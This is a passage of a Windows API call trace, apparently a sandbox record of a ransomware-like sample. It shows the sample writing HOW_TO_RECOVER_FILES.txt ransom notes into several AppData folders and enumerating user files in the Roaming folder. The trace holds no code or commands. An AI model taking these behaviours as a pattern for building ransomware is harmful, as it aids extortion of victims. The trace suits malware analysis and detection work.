dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0187.341] GetFileType (hFile=0x818) returned 0x1 [0187.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0187.341] GetFileType (hFile=0x818) returned 0x1 [0187.341] WriteFile (in: hFile=0x818, lpBuffer=0x3a27e18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3a27e18*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0187.342] CloseHandle (hObject=0x818) returned 1 [0187.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0187.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0187.343] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0187.344] GetFileType (hFile=0x818) returned 0x1 [0187.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0187.344] GetFileType (hFile=0x818) returned 0x1 [0187.344] WriteFile (in: hFile=0x818, lpBuffer=0x3a2b670*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3a2b670*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0187.345] CloseHandle (hObject=0x818) returned 1 [0187.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ed470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0187.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ed990) returned 1 [0187.345] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0187.346] GetFileType (hFile=0x818) returned 0x1 [0187.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed900) returned 1 [0187.346] GetFileType (hFile=0x818) returned 0x1 [0187.347] WriteFile (in: hFile=0x818, lpBuffer=0x3a2eeb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eda58, lpOverlapped=0x0 | out: lpBuffer=0x3a2eeb8*, lpNumberOfBytesWritten=0x204eda58*=0x5d0, lpOverlapped=0x0) returned 1 [0187.348] CloseHandle (hObject=0x818) returned 1 [0187.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204edea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0187.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee3c0) returned 1 [0187.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x818 [0187.351] GetFileType (hFile=0x818) returned 0x1 [0187.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee330) returned 1 [0187.351] GetFileType (hFile=0x818) returned 0x1 [0187.352] WriteFile (in: hFile=0x818, lpBuffer=0x3a326f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ee488, lpOverlapped=0x0 | out: lpBuffer=0x3a326f0*, lpNumberOfBytesWritten=0x204ee488*=0x5d0, lpOverlapped=0x0) returned 1 [0187.352] CloseHandle (hObject=0x818) returned 1 [0187.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee450) returned 1 [0187.354] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x204edef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0187.354] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x204ee170 | out: lpFindFileData=0x204ee170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x66481e62, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x66481e62, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.354] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x66481e62, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x66481e62, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.354] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0187.354] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4109bb70, ftCreationTime.dwHighDateTime=0x1d4c93a, ftLastAccessTime.dwLowDateTime=0xbdbbe390, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0xbdbbe390, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0x1008d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGsVx-SPc.flv", cAlternateFileName="AGSVX-~1.FLV")) returned 1 [0187.354] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf12230, ftCreationTime.dwHighDateTime=0x1d4d28b, ftLastAccessTime.dwLowDateTime=0xae14e990, ftLastAccessTime.dwHighDateTime=0x1d4c897, ftLastWriteTime.dwLowDateTime=0xae14e990, ftLastWriteTime.dwHighDateTime=0x1d4c897, nFileSizeHigh=0x0, nFileSizeLow=0xc500, dwReserved0=0x0, dwReserved1=0x0, cFileName="amdnqRCqf8_2voF49l.xlsx", cAlternateFileName="AMDNQR~1.XLS")) returned 1 [0187.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x411b5380, ftCreationTime.dwHighDateTime=0x1d4c7cd, ftLastAccessTime.dwLowDateTime=0xe90d2e10, ftLastAccessTime.dwHighDateTime=0x1d4cce1, ftLastWriteTime.dwLowDateTime=0xe90d2e10, ftLastWriteTime.dwHighDateTime=0x1d4cce1, nFileSizeHigh=0x0, nFileSizeLow=0x14a27, dwReserved0=0x0, dwReserved1=0x0, cFileName="aPQpe.swf", cAlternateFileName="")) returned 1 [0187.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f4df20, ftCreationTime.dwHighDateTime=0x1d4d524, ftLastAccessTime.dwLowDateTime=0x514cf390, ftLastAccessTime.dwHighDateTime=0x1d4c830, ftLastWriteTime.dwLowDateTime=0x514cf390, ftLastWriteTime.dwHighDateTime=0x1d4c830, nFileSizeHigh=0x0, nFileSizeLow=0x16df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="At QlR3JAYBWorQBe.m4a", cAlternateFileName="ATQLR3~1.M4A")) returned 1 [0187.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45947a00, ftCreationTime.dwHighDateTime=0x1d4d159, ftLastAccessTime.dwLowDateTime=0x8712b6d0, ftLastAccessTime.dwHighDateTime=0x1d4c9f8, ftLastWriteTime.dwLowDateTime=0x8712b6d0, ftLastWriteTime.dwHighDateTime=0x1d4c9f8, nFileSizeHigh=0x0, nFileSizeLow=0xa5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bf2F_kvwVy5BKZ8ad.bmp", cAlternateFileName="BF2F_K~1.BMP")) returned 1 [0187.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe55af40, ftCreationTime.dwHighDateTime=0x1d4d272, ftLastAccessTime.dwLowDateTime=0x51cf8e10, ftLastAccessTime.dwHighDateTime=0x1d4d486, ftLastWriteTime.dwLowDateTime=0x51cf8e10, ftLastWriteTime.dwHighDateTime=0x1d4d486, nFileSizeHigh=0x0, nFileSizeLow=0x1656a, dwReserved0=0x0, dwReserved1=0x0, cFileName="byRwSzDT.bmp", cAlternateFileName="")) returned 1 [0187.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d9f5b0, ftCreationTime.dwHighDateTime=0x1d4d410, ftLastAccessTime.dwLowDateTime=0xb405a0a0, ftLastAccessTime.dwHighDateTime=0x1d4c609, ftLastWriteTime.dwLowDateTime=0xb405a0a0, ftLastWriteTime.dwHighDateTime=0x1d4c609, nFileSizeHigh=0x0, nFileSizeLow=0xb8ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="d1CxCB-ylGVpacS.avi", cAlternateFileName="D1CXCB~1.AVI")) returned 1 [0187.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1211f4b0, ftCreationTime.dwHighDateTime=0x1d4d32e, ftLastAccessTime.dwLowDateTime=0x7709a6a0, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0x7709a6a0, ftLastWriteTime.dwHighDateTime=0x1d4ce25, nFileSizeHigh=0x0, nFileSizeLow=0xeb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtO13.mp3", cAlternateFileName="")) returned 1 [0187.355] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdce655d0, ftCreationTime.dwHighDateTime=0x1d4d2ea, ftLastAccessTime.dwLowDateTime=0xa7d8ce40, ftLastAccessTime.dwHighDateTime=0x1d4d24f, ftLastWriteTime.dwLowDateTime=0xa7d8ce40, ftLastWriteTime.dwHighDateTime=0x1d4d24f, nFileSizeHigh=0x0, nFileSizeLow=0x669f, dwReserved0=0x0, dwReserved1=0x0, cFileName="fqhY8t.bmp", cAlternateFileName="")) returned 1 [0187.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ebdf30, ftCreationTime.dwHighDateTime=0x1d4d5d8, ftLastAccessTime.dwLowDateTime=0xd2dcc770, ftLastAccessTime.dwHighDateTime=0x1d4ceaf, ftLastWriteTime.dwLowDateTime=0xd2dcc770, ftLastWriteTime.dwHighDateTime=0x1d4ceaf, nFileSizeHigh=0x0, nFileSizeLow=0x89d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="G2Lz.png", cAlternateFileName="")) returned 1 [0187.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66481e62, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x66481e62, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x66481e62, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0187.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c163b0, ftCreationTime.dwHighDateTime=0x1d4cca8, ftLastAccessTime.dwLowDateTime=0xca7a5d40, ftLastAccessTime.dwHighDateTime=0x1d4c95f, ftLastWriteTime.dwLowDateTime=0xca7a5d40, ftLastWriteTime.dwHighDateTime=0x1d4c95f, nFileSizeHigh=0x0, nFileSizeLow=0x6fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="iF4Wfrb ggeFAts.wav", cAlternateFileName="IF4WFR~1.WAV")) returned 1 [0187.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9088500, ftCreationTime.dwHighDateTime=0x1d4cd2e, ftLastAccessTime.dwLowDateTime=0xedd00d20, ftLastAccessTime.dwHighDateTime=0x1d4cf2d, ftLastWriteTime.dwLowDateTime=0xedd00d20, ftLastWriteTime.dwHighDateTime=0x1d4cf2d, nFileSizeHigh=0x0, nFileSizeLow=0xa6b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="iqCkS8rk7.wav", cAlternateFileName="IQCKS8~1.WAV")) returned 1 [0187.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec11adf0, ftCreationTime.dwHighDateTime=0x1d4cf72, ftLastAccessTime.dwLowDateTime=0x4961b9f0, ftLastAccessTime.dwHighDateTime=0x1d4c5b9, ftLastWriteTime.dwLowDateTime=0x4961b9f0, ftLastWriteTime.dwHighDateTime=0x1d4c5b9, nFileSizeHigh=0x0, nFileSizeLow=0x4e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="JCLiCckShC2ALo.pps", cAlternateFileName="JCLICC~1.PPS")) returned 1 [0187.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf39120, ftCreationTime.dwHighDateTime=0x1d4c83f, ftLastAccessTime.dwLowDateTime=0x2f17cc20, ftLastAccessTime.dwHighDateTime=0x1d4c937, ftLastWriteTime.dwLowDateTime=0x2f17cc20, ftLastWriteTime.dwHighDateTime=0x1d4c937, nFileSizeHigh=0x0, nFileSizeLow=0x13177, dwReserved0=0x0, dwReserved1=0x0, cFileName="jUJDu-.wav", cAlternateFileName="")) returned 1 [0187.356] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4109e30, ftCreationTime.dwHighDateTime=0x1d4d455, ftLastAccessTime.dwLowDateTime=0xf14a5560, ftLastAccessTime.dwHighDateTime=0x1d4d2d3, ftLastWriteTime.dwLowDateTime=0xf14a5560, ftLastWriteTime.dwHighDateTime=0x1d4d2d3, nFileSizeHigh=0x0, nFileSizeLow=0xf46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KGXkl.mp4", cAlternateFileName="")) returned 1 [0187.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f05a30, ftCreationTime.dwHighDateTime=0x1d4cd01, ftLastAccessTime.dwLowDateTime=0x99146100, ftLastAccessTime.dwHighDateTime=0x1d4cbd1, ftLastWriteTime.dwLowDateTime=0x99146100, ftLastWriteTime.dwHighDateTime=0x1d4cbd1, nFileSizeHigh=0x0, nFileSizeLow=0xf4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="lE7hYV a8-60D.avi", cAlternateFileName="LE7HYV~1.AVI")) returned 1 [0187.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb490fb0, ftCreationTime.dwHighDateTime=0x1d4cb40, ftLastAccessTime.dwLowDateTime=0xb3590780, ftLastAccessTime.dwHighDateTime=0x1d4c6ba, ftLastWriteTime.dwLowDateTime=0xb3590780, ftLastWriteTime.dwHighDateTime=0x1d4c6ba, nFileSizeHigh=0x0, nFileSizeLow=0x10d1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lYslnAP.png", cAlternateFileName="")) returned 1 [0187.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cba20c0, ftCreationTime.dwHighDateTime=0x1d4c6ff, ftLastAccessTime.dwLowDateTime=0x9fdd13f0, ftLastAccessTime.dwHighDateTime=0x1d4c803, ftLastWriteTime.dwLowDateTime=0x9fdd13f0, ftLastWriteTime.dwHighDateTime=0x1d4c803, nFileSizeHigh=0x0, nFileSizeLow=0x14a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="M2_c_fYDVB.mkv", cAlternateFileName="M2_C_F~1.MKV")) returned 1 [0187.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0187.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0187.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa710a6e0, ftCreationTime.dwHighDateTime=0x1d4cf1b, ftLastAccessTime.dwLowDateTime=0xaee577d0, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0xaee577d0, ftLastWriteTime.dwHighDateTime=0x1d4d28e, nFileSizeHigh=0x0, nFileSizeLow=0x67b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="mmwjLwg yPX8lDl.avi", cAlternateFileName="MMWJLW~1.AVI")) returned 1 [0187.357] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0187.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f63c20, ftCreationTime.dwHighDateTime=0x1d4c758, ftLastAccessTime.dwLowDateTime=0x6d5ba820, ftLastAccessTime.dwHighDateTime=0x1d4cc8f, ftLastWriteTime.dwLowDateTime=0x6d5ba820, ftLastWriteTime.dwHighDateTime=0x1d4cc8f, nFileSizeHigh=0x0, nFileSizeLow=0x7386, dwReserved0=0x0, dwReserved1=0x0, cFileName="NmQ74zwIyJC.m4a", cAlternateFileName="NMQ74Z~1.M4A")) returned 1 [0187.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc192830, ftCreationTime.dwHighDateTime=0x1d4ccff, ftLastAccessTime.dwLowDateTime=0x29b4d3d0, ftLastAccessTime.dwHighDateTime=0x1d4cd3e, ftLastWriteTime.dwLowDateTime=0x29b4d3d0, ftLastWriteTime.dwHighDateTime=0x1d4cd3e, nFileSizeHigh=0x0, nFileSizeLow=0x24d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OGekF3XDNNGCZdu.wav", cAlternateFileName="OGEKF3~1.WAV")) returned 1 [0187.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f82f00, ftCreationTime.dwHighDateTime=0x1d4c7bd, ftLastAccessTime.dwLowDateTime=0xd90f4eb0, ftLastAccessTime.dwHighDateTime=0x1d4c88d, ftLastWriteTime.dwLowDateTime=0xd90f4eb0, ftLastWriteTime.dwHighDateTime=0x1d4c88d, nFileSizeHigh=0x0, nFileSizeLow=0x29e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OoyhSUQ8crZZOjCzc.doc", cAlternateFileName="OOYHSU~1.DOC")) returned 1 [0187.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ece460, ftCreationTime.dwHighDateTime=0x1d4d445, ftLastAccessTime.dwLowDateTime=0x8cbdf330, ftLastAccessTime.dwHighDateTime=0x1d4d4cd, ftLastWriteTime.dwLowDateTime=0x8cbdf330, ftLastWriteTime.dwHighDateTime=0x1d4d4cd, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="oYLEB3eighaP.png", cAlternateFileName="OYLEB3~1.PNG")) returned 1 [0187.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c0c00, ftCreationTime.dwHighDateTime=0x1d4caf8, ftLastAccessTime.dwLowDateTime=0x532a6410, ftLastAccessTime.dwHighDateTime=0x1d4c699, ftLastWriteTime.dwLowDateTime=0x532a6410, ftLastWriteTime.dwHighDateTime=0x1d4c699, nFileSizeHigh=0x0, nFileSizeLow=0x82b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjrm0wORMro.png", cAlternateFileName="PJRM0W~1.PNG")) returned 1 [0187.358] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6943e740, ftCreationTime.dwHighDateTime=0x1d4c58f, ftLastAccessTime.dwLowDateTime=0x2d7584d0, ftLastAccessTime.dwHighDateTime=0x1d4c729, ftLastWriteTime.dwLowDateTime=0x2d7584d0, ftLastWriteTime.dwHighDateTime=0x1d4c729, nFileSizeHigh=0x0, nFileSizeLow=0x186a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pqOHODy7S yW.m4a", cAlternateFileName="PQOHOD~1.M4A")) returned 1 [0187.359] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf761f0, ftCreationTime.dwHighDateTime=0x1d4ce7e, ftLastAccessTime.dwLowDateTime=0xaf601670, ftLastAccessTime.dwHighDateTime=0x1d4d5f9, ftLastWriteTime.dwLowDateTime=0xaf601670, ftLastWriteTime.dwHighDateTime=0x1d4d5f9, nFileSizeHigh=0x0, nFileSizeLow=0x164ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="QKnDF.bmp", cAlternateFileName="")) returned 1 [0187.359] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1de1100, ftCreationTime.dwHighDateTime=0x1d4c8e8, ftLastAccessTime.dwLowDateTime=0xeccfdf10, ftLastAccessTime.dwHighDateTime=0x1d4c6c5, ftLastWriteTime.dwLowDateTime=0xeccfdf10, ftLastWriteTime.dwHighDateTime=0x1d4c6c5, nFileSizeHigh=0x0, nFileSizeLow=0x48f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="R-l-JpT1rx5yIELP8.swf", cAlternateFileName="R-L-JP~1.SWF")) returned 1 [0187.359] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype", cAlternateFileName="")) returned 1 [0187.420] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f8c530, ftCreationTime.dwHighDateTime=0x1d4d064, ftLastAccessTime.dwLowDateTime=0xb49b4400, ftLastAccessTime.dwHighDateTime=0x1d4d47a, ftLastWriteTime.dwLowDateTime=0xb49b4400, ftLastWriteTime.dwHighDateTime=0x1d4d47a, nFileSizeHigh=0x0, nFileSizeLow=0x56aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLqWzXX.bmp", cAlternateFileName="")) returned 1 [0188.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0188.207] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x20, 